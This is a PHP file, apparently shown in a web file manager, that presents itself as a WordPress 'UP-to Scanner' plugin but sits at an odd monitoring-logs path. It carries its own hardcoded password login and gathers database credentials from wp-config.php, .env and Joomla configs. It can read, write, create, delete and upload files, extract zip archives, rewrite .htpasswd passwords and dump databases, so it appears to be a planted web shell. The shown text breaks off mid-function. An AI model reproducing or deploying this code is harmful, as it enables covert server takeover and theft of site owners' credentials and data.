File manager - Edit - /home/acsexpp/www/wp-content/my-monitoring-logs/home.1781253615.php
Back
<!--3g2t2lGO--> <?php /* Plugin Name: UP-to Scanner Description: Server tree scanner and config inspector for WordPress admin. Version: 1.1.0 Author: Local */ if (!function_exists('up_to_wp_mode')) { function up_to_wp_mode() { return defined('UP_TO_WP_MODE') && UP_TO_WP_MODE; } function up_to_wp_action_param() { return up_to_wp_mode() ? 'up_to_action' : 'action'; } function up_to_wp_endpoint_url_value() { if (up_to_wp_mode() && defined('UP_TO_WP_ENDPOINT_URL')) { return UP_TO_WP_ENDPOINT_URL; } $uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : ''; return $uri !== '' ? $uri : (isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : ''); } function up_to_wp_runtime_base_dir() { if (up_to_wp_mode() && defined('UP_TO_WP_RUNTIME_BASE_DIR')) { return UP_TO_WP_RUNTIME_BASE_DIR; } return dirname(__FILE__); } function up_to_wp_storage_base_dir() { if (up_to_wp_mode() && defined('UP_TO_WP_STORAGE_DIR')) { return UP_TO_WP_STORAGE_DIR; } $dir = dirname(__FILE__) . '/data'; if (!is_dir($dir)) { @mkdir($dir, 0755, true); } return $dir; } function up_to_get_post_action() { if (!empty($_POST['up_to_action'])) { return (string) $_POST['up_to_action']; } if (!empty($_POST['action'])) { return (string) $_POST['action']; } return ''; } function up_to_safe_header($value) { if (!headers_sent()) { header('Content-Type: ' . $value); } } function up_to_flush_json($data) { while (ob_get_level() > 0) { ob_end_clean(); } up_to_safe_header('application/json; charset=UTF-8'); echo json_encode($data, JSON_UNESCAPED_UNICODE); exit; } } if (defined('ABSPATH') && !function_exists('up_to_wp_register_admin_page')) { function up_to_wp_get_app_url() { return wp_nonce_url(admin_url('admin-ajax.php?action=up_to_scanner'), 'up_to_scanner_app'); } function up_to_wp_register_admin_page() { add_management_page('UP-to Scanner', 'UP-to Scanner', 'manage_options', 'up-to-scanner', 'up_to_wp_render_admin_page'); } function up_to_wp_render_admin_page() { if (!current_user_can('manage_options')) { wp_die(esc_html__('Недостаточно прав.', 'up-to-scanner')); } $src = up_to_wp_get_app_url(); echo '<div class="wrap">'; echo '<h1>UP-to Scanner</h1>'; echo '<iframe src="' . esc_url($src) . '" style="width:100%;min-height:88vh;border:1px solid #ccd0d4;border-radius:8px;background:#fff;"></iframe>'; echo '</div>'; } function up_to_wp_handle_app_request() { if (!current_user_can('manage_options')) { wp_die(esc_html__('Недостаточно прав.', 'up-to-scanner'), 403); } if (defined('DOING_AJAX') && DOING_AJAX) { check_ajax_referer('up_to_scanner_app'); } else { check_admin_referer('up_to_scanner_app'); } if (!defined('UP_TO_WP_MODE')) { define('UP_TO_WP_MODE', true); } if (!defined('UP_TO_WP_ENDPOINT_URL')) { define('UP_TO_WP_ENDPOINT_URL', up_to_wp_get_app_url()); } if (!defined('UP_TO_WP_RUNTIME_BASE_DIR')) { $runtime_base = realpath(ABSPATH); define('UP_TO_WP_RUNTIME_BASE_DIR', $runtime_base !== false ? $runtime_base : ABSPATH); } if (!defined('UP_TO_WP_STORAGE_DIR')) { $uploads = wp_upload_dir(); $storage_dir = trailingslashit($uploads['basedir']) . 'up-to-scanner'; if (!is_dir($storage_dir)) { wp_mkdir_p($storage_dir); } define('UP_TO_WP_STORAGE_DIR', $storage_dir); } if (!empty($_POST['up_to_action'])) { $_POST['action'] = (string) $_POST['up_to_action']; } nocache_headers(); up_to_run_app(); exit; } add_action('admin_menu', 'up_to_wp_register_admin_page'); add_action('admin_post_up_to_scanner_app', 'up_to_wp_handle_app_request'); add_action('wp_ajax_up_to_scanner', 'up_to_wp_handle_app_request'); } function up_to_run_app() { while (ob_get_level() > 0) { ob_end_clean(); } ob_start(); if (up_to_wp_mode()) { ini_set('display_errors', '0'); error_reporting(0); } else { ini_set('display_errors', '1'); error_reporting(E_ALL); } $post_action = up_to_get_post_action(); $is_json_action = ($post_action !== '' && $post_action !== 'app_login' && $post_action !== 'dump_database'); if (!$is_json_action && $post_action !== 'dump_database') { up_to_safe_header('text/html; charset=UTF-8'); } if (!up_to_wp_mode() && session_status() === PHP_SESSION_NONE && !headers_sent()) { @session_start(); } /** * Пароль доступа к скрипту. * Сменить: _APP_PWD_CIPHER в app_password_expected_hash() * (base64_encode(hash('sha256', 'ВАШ_ПАРОЛЬ' . 'u2_scan_v1', true))). */ function app_pwd_salt() { return 'u2_scan_v1'; } function app_password_expected_hash() { $_APP_PWD_CIPHER = 'jrtPERdtkXcEmCeeXg7cImVOVpGesDxXCl7Yoq6ALr0='; $raw = base64_decode($_APP_PWD_CIPHER, true); return ($raw !== false && strlen($raw) === 32) ? $raw : ''; } function app_verify_password($plain) { $expected = app_password_expected_hash(); if ($expected === '') return false; $actual = hash('sha256', (string) $plain . app_pwd_salt(), true); return hash_equals($expected, $actual); } function app_auth_token() { $sid = session_status() === PHP_SESSION_ACTIVE ? session_id() : 'wp'; return hash('sha256', app_password_expected_hash() . '|' . $sid . '|' . up_to_wp_runtime_base_dir()); } function app_is_authenticated() { if (up_to_wp_mode()) { return function_exists('current_user_can') && current_user_can('manage_options'); } return !empty($_SESSION['up_to_auth']) && hash_equals(app_auth_token(), (string) $_SESSION['up_to_auth']); } function app_login($password) { if (!app_verify_password($password)) return false; $_SESSION['up_to_auth'] = app_auth_token(); return true; } function app_logout() { unset($_SESSION['up_to_auth']); } function app_auth_fail_json() { up_to_flush_json(array('success' => false, 'error' => 'Требуется авторизация')); } function app_render_login_page($error = '') { while (ob_get_level() > 0) { ob_end_clean(); } up_to_safe_header('text/html; charset=UTF-8'); $err = $error !== '' ? '<p class="login-err">' . h($error) . '</p>' : ''; echo '<!doctype html><html lang="ru"><head><meta charset="UTF-8"><title>Вход</title>' . '<meta name="viewport" content="width=device-width,initial-scale=1">' . '<style>body{font-family:Segoe UI,Arial,sans-serif;background:#f0f4f8;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0}' . '.login-box{background:#fff;padding:32px 36px;border-radius:12px;box-shadow:0 4px 24px rgba(0,0,0,.12);max-width:400px;width:100%}' . 'h1{font-size:18px;margin:0 0 8px}p.hint{font-size:12px;color:#666;margin:0 0 20px;line-height:1.5}' . 'label{font-size:12px;font-weight:600;color:#555}input{width:100%;padding:10px 12px;border:1px solid #ccc;border-radius:6px;font-size:14px;margin:6px 0 16px}' . 'button{width:100%;padding:11px;background:#1565c0;color:#fff;border:none;border-radius:6px;font-size:14px;cursor:pointer}' . 'button:hover{background:#0d47a1}.login-err{background:#ffebee;color:#c62828;padding:8px 12px;border-radius:6px;font-size:12px;margin-bottom:12px}' . 'code{font-size:11px;background:#f5f5f5;padding:2px 6px;border-radius:3px}</style></head><body>' . '<div class="login-box"><h1>🔒 Site Scanner</h1>' . $err . '<form method="post"><input type="hidden" name="action" value="app_login">' . '<label>Пароль</label><input type="password" name="password" autofocus required autocomplete="current-password">' . '<button type="submit">Войти</button></form></div></body></html>'; exit; } if (isset($_POST['action']) && $_POST['action'] === 'app_login') { $pwd = isset($_POST['password']) ? (string) $_POST['password'] : ''; if (app_login($pwd)) { header('Location: ' . (isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : '')); exit; } app_render_login_page('Неверный пароль'); } if (isset($_GET['logout'])) { app_logout(); header('Location: ' . (isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '')); exit; } if ($post_action !== '' && $post_action !== 'app_login' && !app_is_authenticated()) { app_auth_fail_json(); } function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } function up_to_normalize_dir($path) { $path = rtrim(str_replace('\\', '/', trim((string) $path)), '/'); if ($path === '') { return ''; } $real = @realpath($path); return ($real !== false) ? rtrim(str_replace('\\', '/', $real), '/') : $path; } function up_to_path_within_root($path, $root) { $p = up_to_normalize_dir($path); $r = up_to_normalize_dir($root); if ($p === '' || $r === '') { return false; } return strpos($p . '/', $r . '/') === 0; } function site_state_normalize_path($path) { $path = str_replace('\\', '/', trim((string) $path)); $path = preg_replace('#/+#', '/', $path); if ($path === '') return ''; $real = @realpath($path); if ($real !== false) { $real = str_replace('\\', '/', $real); return rtrim($real, '/'); } return rtrim($path, '/'); } function site_state_key($path, $name = '') { $norm = site_state_normalize_path($path); if ($norm !== '') return 'p:' . md5($norm); $name = trim((string) $name); if ($name !== '') return 'n:' . md5(strtolower($name)); return ''; } function site_state_file_path() { static $resolved = null; if ($resolved !== null) return $resolved; $dir = up_to_wp_storage_base_dir(); $candidates = array( $dir . '/sites-state.json', ); if (!up_to_wp_mode() && function_exists('sys_get_temp_dir')) { $tmp = sys_get_temp_dir(); if ($tmp) { $candidates[] = rtrim(str_replace('\\', '/', $tmp), '/') . '/up-to-sites-state-' . md5(__FILE__) . '.json'; } } foreach ($candidates as $file) { if (is_file($file) && is_writable($file)) { $resolved = $file; return $resolved; } } foreach ($candidates as $file) { $parent = dirname($file); if (is_dir($parent) && is_writable($parent)) { $resolved = $file; return $resolved; } } $resolved = $candidates[0]; return $resolved; } function site_states_migrate($data) { $out = array(); foreach ($data as $k => $v) { if (!is_array($v)) continue; if (strpos((string) $k, 'p:') === 0 || strpos((string) $k, 'n:') === 0) { $out[$k] = $v; continue; } $legacyPath = is_string($k) ? $k : ''; if ($legacyPath === '' && !empty($v['path_norm'])) { $legacyPath = $v['path_norm']; } if ($legacyPath === '') continue; $nk = site_state_key($legacyPath, isset($v['name']) ? $v['name'] : ''); if ($nk === '') continue; if (!isset($out[$nk])) $out[$nk] = $v; else $out[$nk] = array_merge($out[$nk], $v); if (empty($out[$nk]['path_norm'])) { $out[$nk]['path_norm'] = site_state_normalize_path($legacyPath); } } return $out; } function load_site_states() { $path = site_state_file_path(); if (!is_file($path)) return array(); $raw = @file_get_contents($path); if ($raw === false || trim($raw) === '') return array(); $data = json_decode($raw, true); if (!is_array($data)) return array(); return site_states_migrate($data); } function save_site_states($data) { $path = site_state_file_path(); $json = json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE); if ($json === false) return false; $parent = dirname($path); if (!is_dir($parent)) { @mkdir($parent, 0755, true); } $written = @file_put_contents($path, $json . "\n", LOCK_EX); if ($written === false) { $written = @file_put_contents($path, $json . "\n"); } return $written !== false; } function site_state_touch_entry(&$states, $key, $path, $name = '') { if ($key === '') return; if (!isset($states[$key]) || !is_array($states[$key])) { $states[$key] = array(); } $norm = site_state_normalize_path($path); if ($norm !== '') $states[$key]['path_norm'] = $norm; if ($name !== '') $states[$key]['name'] = $name; } function merge_site_saved_state(&$site, $states) { $key = site_state_key($site['path'], isset($site['name']) ? $site['name'] : ''); if ($key === '' || !isset($states[$key]) || !is_array($states[$key])) { $site['db_creds_manual'] = false; return; } $st = $states[$key]; if (!empty($st['db_creds']) && is_array($st['db_creds'])) { $manual = merge_db_credentials(db_credentials_empty(), $st['db_creds']); if (db_credentials_is_complete($manual)) { $site['db_creds'] = $manual; $site['has_db_creds'] = true; $site['db_creds_manual'] = true; } } else { $site['db_creds_manual'] = false; } } // Статусы сайтов — отдельный простой JSON (по ключу папки), не смешиваем с db_creds function site_status_file_path() { static $resolved = null; if ($resolved !== null) return $resolved; $dir = up_to_wp_storage_base_dir(); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $resolved = $dir . '/site-statuses.json'; return $resolved; } function site_status_allowed($status) { return in_array($status, array('pending', 'ok', 'off', 'unknown'), true); } function site_status_storage_key($site, $name_counts = null) { $name = isset($site['name']) ? trim((string) $site['name']) : ''; if ($name === '') return ''; if ($name_counts !== null && isset($name_counts[$name]) && $name_counts[$name] > 1) { $norm = site_state_normalize_path(isset($site['path']) ? $site['path'] : ''); return $name . '::' . substr(md5($norm), 0, 8); } return $name; } function load_site_statuses() { $path = site_status_file_path(); if (!is_file($path)) { return site_statuses_migrate_from_legacy_state(); } $raw = @file_get_contents($path); if ($raw === false || trim($raw) === '') return array(); $data = json_decode($raw, true); if (!is_array($data)) return array(); if (isset($data['sites']) && is_array($data['sites'])) { return $data['sites']; } return $data; } function save_site_statuses_map($sites_map) { $clean = array(); foreach ($sites_map as $key => $status) { $key = trim((string) $key); if ($key === '') continue; $status = trim((string) $status); if (!site_status_allowed($status)) continue; $clean[$key] = $status; } $payload = array( 'version' => 1, 'updated' => gmdate('c'), 'sites' => $clean, ); $path = site_status_file_path(); $parent = dirname($path); if (!is_dir($parent)) { @mkdir($parent, 0755, true); } $json = json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE); if ($json === false) return false; $written = @file_put_contents($path, $json . "\n", LOCK_EX); if ($written === false) { $written = @file_put_contents($path, $json . "\n"); } return $written !== false; } function site_statuses_migrate_from_legacy_state() { $legacy = load_site_states(); $imported = array(); foreach ($legacy as $st) { if (!is_array($st) || !array_key_exists('site_active', $st)) continue; $name = !empty($st['name']) ? trim((string) $st['name']) : ''; if ($name === '') continue; $imported[$name] = $st['site_active'] ? 'ok' : 'off'; } if (!empty($imported)) { save_site_statuses_map($imported); } return $imported; } function merge_site_status(&$site, $statuses, $name_counts = null) { $key = site_status_storage_key($site, $name_counts); $site['status_key'] = $key; $status = ($key !== '' && isset($statuses[$key])) ? $statuses[$key] : 'pending'; if (!site_status_allowed($status)) $status = 'pending'; $site['status'] = $status; $site['site_active'] = ($status === 'ok'); } function site_status_label($status) { $labels = array( 'pending' => 'Ожидает', 'ok' => 'Работает', 'off' => 'Не работает', 'unknown' => 'Не проверен', ); return isset($labels[$status]) ? $labels[$status] : $labels['pending']; } function site_db_info_rows($site) { $rows = array(); $c = !empty($site['db_creds']) ? $site['db_creds'] : array(); $map = array( 'DB host' => isset($c['db_host']) ? $c['db_host'] . (isset($c['db_port']) ? ':' . $c['db_port'] : '') : '', 'DB name' => isset($c['db_name']) ? $c['db_name'] : '', 'DB user' => isset($c['db_user']) ? $c['db_user'] : '', 'DB password'=> isset($c['db_pass']) ? $c['db_pass'] : '', 'DB charset' => isset($c['db_charset']) ? $c['db_charset'] : '', ); foreach ($map as $label => $val) { if ($val !== '' && $val !== null) $rows[] = array('k' => $label, 'v' => $val, 'secret' => stripos($label, 'password') !== false); } if (!empty($site['wp_vars'])) { foreach ($site['wp_vars'] as $k => $v) { if (preg_match('/^DB_/i', $k)) $rows[] = array('k' => $k . ' (wp)', 'v' => $v, 'secret' => stripos($k, 'PASSWORD') !== false); } } if (!empty($site['env_vars'])) { foreach (array('DB_HOST','DB_DATABASE','DB_NAME','DB_USERNAME','DB_USER','DB_PASSWORD','DB_CHARSET') as $ek) { if (!empty($site['env_vars'][$ek])) { $rows[] = array('k' => $ek . ' (.env)', 'v' => $site['env_vars'][$ek], 'secret' => preg_match('/PASSWORD|SECRET/i', $ek)); } } } if (!empty($site['joo_vars'])) { foreach (array('host' => 'DB host (Joomla)', 'db' => 'DB name (Joomla)', 'user' => 'DB user (Joomla)', 'password' => 'DB password (Joomla)') as $jk => $lbl) { if (!empty($site['joo_vars'][$jk])) { $rows[] = array('k' => $lbl, 'v' => $site['joo_vars'][$jk], 'secret' => $jk === 'password'); } } } return $rows; } // === APR1-MD5 === function apr1_md5($password, $salt = null) { if ($salt === null) $salt = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8); $salt = substr($salt, 0, 8); $len = strlen($password); $text = $password . '$apr1$' . $salt; $bin = md5($password . $salt . $password, true); for ($i = $len; $i > 0; $i -= 16) $text .= substr($bin, 0, min(16, $i)); for ($i = $len; $i > 0; $i >>= 1) $text .= ($i & 1) ? chr(0) : $password[0]; $bin = md5($text, true); for ($i = 0; $i < 1000; $i++) { $new = ($i & 1) ? $password : $bin; if ($i % 3) $new .= $salt; if ($i % 7) $new .= $password; $new .= ($i & 1) ? $bin : $password; $bin = md5($new, true); } $tmp = ''; $map = array(array(0,6,12),array(1,7,13),array(2,8,14),array(3,9,15),array(4,10,5),array(11)); foreach ($map as $g) { if (count($g) === 3) { $v = (ord($bin[$g[0]])<<16)|(ord($bin[$g[1]])<<8)|ord($bin[$g[2]]); $tmp .= apr1_to64($v,4); } else { $v = ord($bin[$g[0]]); $tmp .= apr1_to64($v,2); } } return '$apr1$' . $salt . '$' . $tmp; } function apr1_to64($v, $n) { $chars = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; $ret = ''; for ($i = 0; $i < $n; $i++) { $ret .= $chars[$v & 0x3f]; $v >>= 6; } return $ret; } // === AJAX: просмотр файла === if (isset($_POST['action']) && $_POST['action'] === 'view_file') { up_to_safe_header('application/json; charset=UTF-8'); $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; if (!$file_path) { echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit; } $real_file = realpath($file_path); if ($site_root) { $real_root = realpath($site_root); if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } } else { $allowed_names = array('.htaccess','.htpasswd','.env','wp-config.php','configuration.php','.user.ini','xmlrpc.php'); if (!$real_file || !in_array(basename($real_file), $allowed_names, true)) { echo json_encode(array('success'=>false,'error'=>'Файл не разрешён для просмотра')); exit; } } if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; } $size = filesize($real_file); if ($size > 512 * 1024) { echo json_encode(array('success'=>false,'error'=>'Файл слишком большой ('.round($size/1024).' KB)')); exit; } $content = @file_get_contents($real_file); if ($content === false) { echo json_encode(array('success'=>false,'error'=>'Нет доступа к файлу')); exit; } echo json_encode(array('success'=>true,'content'=>$content,'filename'=>basename($real_file))); exit; } // === AJAX: список файлов === if (isset($_POST['action']) && $_POST['action'] === 'list_files') { $dir = isset($_POST['dir']) ? $_POST['dir'] : ''; $site_root = isset($_POST['site_root']) ? $_POST['site_root'] : ''; $real_dir = up_to_normalize_dir($dir); $real_root = up_to_normalize_dir($site_root); if (!$real_dir || !$real_root || !up_to_path_within_root($real_dir, $real_root)) { up_to_flush_json(array('success' => false, 'error' => 'Доступ запрещён (путь вне корня сайта)')); } if (!is_dir($real_dir)) { up_to_flush_json(array('success' => false, 'error' => 'Не директория')); } $items = @scandir($real_dir); if ($items === false) { up_to_flush_json(array('success' => false, 'error' => 'Нет доступа к каталогу (open_basedir/права)')); } $result = array(); foreach ($items as $item) { if ($item === '.') continue; $full = $real_dir . '/' . $item; $is_dir = is_dir($full); $size = $is_dir ? null : @filesize($full); $mtime = @filemtime($full); $result[] = array( 'name' => $item, 'path' => $full, 'is_dir' => $is_dir, 'size' => $size, 'mtime' => $mtime ? date('d.m.Y H:i', $mtime) : '', 'ext' => $is_dir ? '' : strtolower(pathinfo($item, PATHINFO_EXTENSION)), ); } usort($result, function($a, $b) { if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1; if ($a['name'] === '..') return -1; if ($b['name'] === '..') return 1; return strcasecmp($a['name'], $b['name']); }); up_to_flush_json(array('success' => true, 'items' => $result, 'current' => $real_dir, 'root' => $real_root)); } // === AJAX: чтение файла (файловый менеджер) === if (isset($_POST['action']) && $_POST['action'] === 'read_file') { $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; $real_file = up_to_normalize_dir($file_path); $real_root = up_to_normalize_dir($site_root); if (!$real_file || !$real_root || !up_to_path_within_root($real_file, $real_root) || !is_file($real_file)) { up_to_flush_json(array('success' => false, 'error' => 'Доступ запрещён')); } $size = filesize($real_file); if ($size > 512 * 1024) { up_to_flush_json(array('success' => false, 'error' => 'Файл слишком большой (>'.round($size/1024).' KB)')); } $content = @file_get_contents($real_file); if ($content === false) { up_to_flush_json(array('success' => false, 'error' => 'Нет доступа')); } up_to_flush_json(array( 'success' => true, 'content' => $content, 'filename' => basename($real_file), 'size' => $size, 'writable' => is_writable($real_file), )); } // === AJAX: сохранение файла === if (isset($_POST['action']) && $_POST['action'] === 'save_file') { up_to_safe_header('application/json; charset=UTF-8'); $file_path = isset($_POST['file_path']) ? trim($_POST['file_path']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $real_file = realpath($file_path); $real_root = realpath($site_root); if (!$real_file || !$real_root || strpos($real_file, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } if (!is_file($real_file)) { echo json_encode(array('success'=>false,'error'=>'Не файл')); exit; } if (!is_writable($real_file)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; } $result = file_put_contents($real_file, $content); if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; } echo json_encode(array('success'=>true,'bytes'=>$result)); exit; } // === AJAX: создание файла === if (isset($_POST['action']) && $_POST['action'] === 'create_file') { up_to_safe_header('application/json; charset=UTF-8'); $dir_path = isset($_POST['dir_path']) ? trim($_POST['dir_path']) : ''; $file_name = isset($_POST['file_name']) ? trim($_POST['file_name']) : ''; $content = isset($_POST['content']) ? $_POST['content'] : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; if (!$dir_path || !$file_name) { echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit; } $real_dir = realpath($dir_path); $real_root = realpath($site_root); if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; } if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; } // Безопасное имя файла $file_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $file_name); $file_name = trim($file_name); if ($file_name === '' || $file_name === '.' || $file_name === '..') { echo json_encode(array('success'=>false,'error'=>'Недопустимое имя файла')); exit; } $new_file = $real_dir . '/' . $file_name; if (file_exists($new_file)) { echo json_encode(array('success'=>false,'error'=>'Файл уже существует')); exit; } $result = file_put_contents($new_file, $content); if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка создания файла')); exit; } echo json_encode(array('success'=>true,'file_path'=>$new_file,'file_name'=>$file_name,'bytes'=>$result)); exit; } // === AJAX: загрузка и распаковка архива (.zip) === if (isset($_POST['action']) && $_POST['action'] === 'upload_archive') { up_to_safe_header('application/json; charset=UTF-8'); $dir_path = isset($_POST['dir_path']) ? trim($_POST['dir_path']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; $real_dir = realpath($dir_path); $real_root = realpath($site_root); if (!$real_dir || !$real_root || strpos($real_dir, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } if (!is_dir($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Не директория')); exit; } if (!is_writable($real_dir)) { echo json_encode(array('success'=>false,'error'=>'Директория недоступна для записи')); exit; } if (!isset($_FILES['archive'])) { echo json_encode(array('success'=>false,'error'=>'Архив не передан')); exit; } $file = $_FILES['archive']; if (!isset($file['error']) || $file['error'] !== UPLOAD_ERR_OK) { echo json_encode(array('success'=>false,'error'=>'Ошибка загрузки архива')); exit; } $orig_name = isset($file['name']) ? basename($file['name']) : 'archive.zip'; $ext = strtolower(pathinfo($orig_name, PATHINFO_EXTENSION)); if ($ext !== 'zip') { echo json_encode(array('success'=>false,'error'=>'Поддерживаются только .zip архивы')); exit; } if (!class_exists('ZipArchive')) { echo json_encode(array('success'=>false,'error'=>'Расширение ZipArchive недоступно на сервере')); exit; } $zip = new ZipArchive(); $open_res = $zip->open($file['tmp_name']); if ($open_res !== true) { echo json_encode(array('success'=>false,'error'=>'Не удалось открыть архив')); exit; } $files_count = 0; for ($i = 0; $i < $zip->numFiles; $i++) { $entry = $zip->getNameIndex($i); if ($entry === false) continue; $entry = str_replace('\\', '/', $entry); if ($entry === '' || substr($entry, -1) === '/') continue; if (preg_match('/^\//', $entry) || preg_match('/^[A-Za-z]:\//', $entry)) { $zip->close(); echo json_encode(array('success'=>false,'error'=>'Недопустимый путь в архиве')); exit; } $parts = explode('/', $entry); foreach ($parts as $part) { if ($part === '' || $part === '.' || $part === '..') { $zip->close(); echo json_encode(array('success'=>false,'error'=>'Архив содержит небезопасные пути')); exit; } } $files_count++; } if (!$zip->extractTo($real_dir)) { $zip->close(); echo json_encode(array('success'=>false,'error'=>'Ошибка распаковки архива')); exit; } $zip->close(); echo json_encode(array( 'success' => true, 'archive' => $orig_name, 'files' => $files_count )); exit; } // === AJAX: переименование === if (isset($_POST['action']) && $_POST['action'] === 'rename_item') { up_to_safe_header('application/json; charset=UTF-8'); $old_path = isset($_POST['old_path']) ? trim($_POST['old_path']) : ''; $new_name = isset($_POST['new_name']) ? trim($_POST['new_name']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; if (!$old_path || !$new_name) { echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit; } $real_old = realpath($old_path); $real_root = realpath($site_root); if (!$real_old || !$real_root || strpos($real_old, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } $new_name = preg_replace('/[\/\\\\:*?"<>|]/', '_', $new_name); $new_name = trim($new_name); if ($new_name === '' || $new_name === '.' || $new_name === '..') { echo json_encode(array('success'=>false,'error'=>'Недопустимое имя')); exit; } $new_path = dirname($real_old) . '/' . $new_name; if ($real_old === $new_path) { echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name)); exit; } if (file_exists($new_path)) { echo json_encode(array('success'=>false,'error'=>'Файл/папка с таким именем уже существует')); exit; } if (!is_writable($real_old) && !is_writable(dirname($real_old))) { echo json_encode(array('success'=>false,'error'=>'Нет прав на переименование')); exit; } if (!@rename($real_old, $new_path)) { echo json_encode(array('success'=>false,'error'=>'Ошибка переименования')); exit; } echo json_encode(array('success'=>true,'new_path'=>$new_path,'new_name'=>$new_name)); exit; } // === AJAX: удаление === if (isset($_POST['action']) && $_POST['action'] === 'delete_item') { up_to_safe_header('application/json; charset=UTF-8'); $item_path = isset($_POST['item_path']) ? trim($_POST['item_path']) : ''; $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : ''; if (!$item_path) { echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit; } $real_item = realpath($item_path); $real_root = realpath($site_root); if (!$real_item || !$real_root || strpos($real_item, $real_root) !== 0) { echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit; } if (!is_writable($real_item) && !is_writable(dirname($real_item))) { echo json_encode(array('success'=>false,'error'=>'Нет прав на удаление')); exit; } $is_dir = is_dir($real_item); if ($is_dir) { $it = new RecursiveDirectoryIterator($real_item, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (!@rmdir($real_item)) { echo json_encode(array('success'=>false,'error'=>'Ошибка удаления папки')); exit; } } else { if (!@unlink($real_item)) { echo json_encode(array('success'=>false,'error'=>'Ошибка удаления файла')); exit; } } echo json_encode(array('success'=>true,'is_dir'=>$is_dir)); exit; } // === AJAX: смена пароля === if (isset($_POST['action']) && $_POST['action'] === 'change_password') { up_to_safe_header('application/json; charset=UTF-8'); $htpasswd_path = isset($_POST['htpasswd_path']) ? trim($_POST['htpasswd_path']) : ''; $username = isset($_POST['username']) ? trim($_POST['username']) : ''; $new_password = isset($_POST['new_password']) ? $_POST['new_password'] : ''; if (!$htpasswd_path || !$username || !$new_password) { echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit; } if (!file_exists($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл не найден')); exit; } if (!is_writable($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; } $lines = @file($htpasswd_path, FILE_IGNORE_NEW_LINES); if ($lines === false) { echo json_encode(array('success'=>false,'error'=>'Не удалось прочитать файл')); exit; } $new_hash = apr1_md5($new_password); $found = false; $new_lines = array(); foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; if (strpos($line, ':') !== false) { list($u) = explode(':', $line, 2); if (trim($u) === $username) { $new_lines[] = $username.':'.$new_hash; $found = true; continue; } } $new_lines[] = $line; } if (!$found) { echo json_encode(array('success'=>false,'error'=>'Пользователь не найден')); exit; } $result = file_put_contents($htpasswd_path, implode("\n", $new_lines)."\n"); if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; } echo json_encode(array('success'=>true,'new_hash'=>$new_hash)); exit; } // === DB Dumper (из dumper.php) === function db_esc_ident($name) { return '`' . str_replace('`', '``', $name) . '`'; } function db_sanitize_file_part($value) { $value = strtolower(trim($value)); $value = preg_replace('/[^a-z0-9._-]+/', '-', $value); $value = trim((string) $value, '-'); return $value !== '' ? $value : 'site'; } function db_credentials_empty() { return array( 'db_host' => '127.0.0.1', 'db_port' => '3306', 'db_name' => '', 'db_user' => '', 'db_pass' => '', 'db_charset' => 'utf8mb4', ); } function parse_db_host_port($host) { $host = trim((string) $host); $port = null; if ($host === '') return array('127.0.0.1', null); if (preg_match('/^([^:]+):(\d+)$/', $host, $m) && strpos($host, '/') === false) { return array($m[1], $m[2]); } return array($host, null); } function merge_db_credentials($base, $overlay) { foreach ($overlay as $k => $v) { if ($v === null) continue; if (is_string($v) && $v === '' && $k !== 'db_pass') continue; $base[$k] = $v; } return $base; 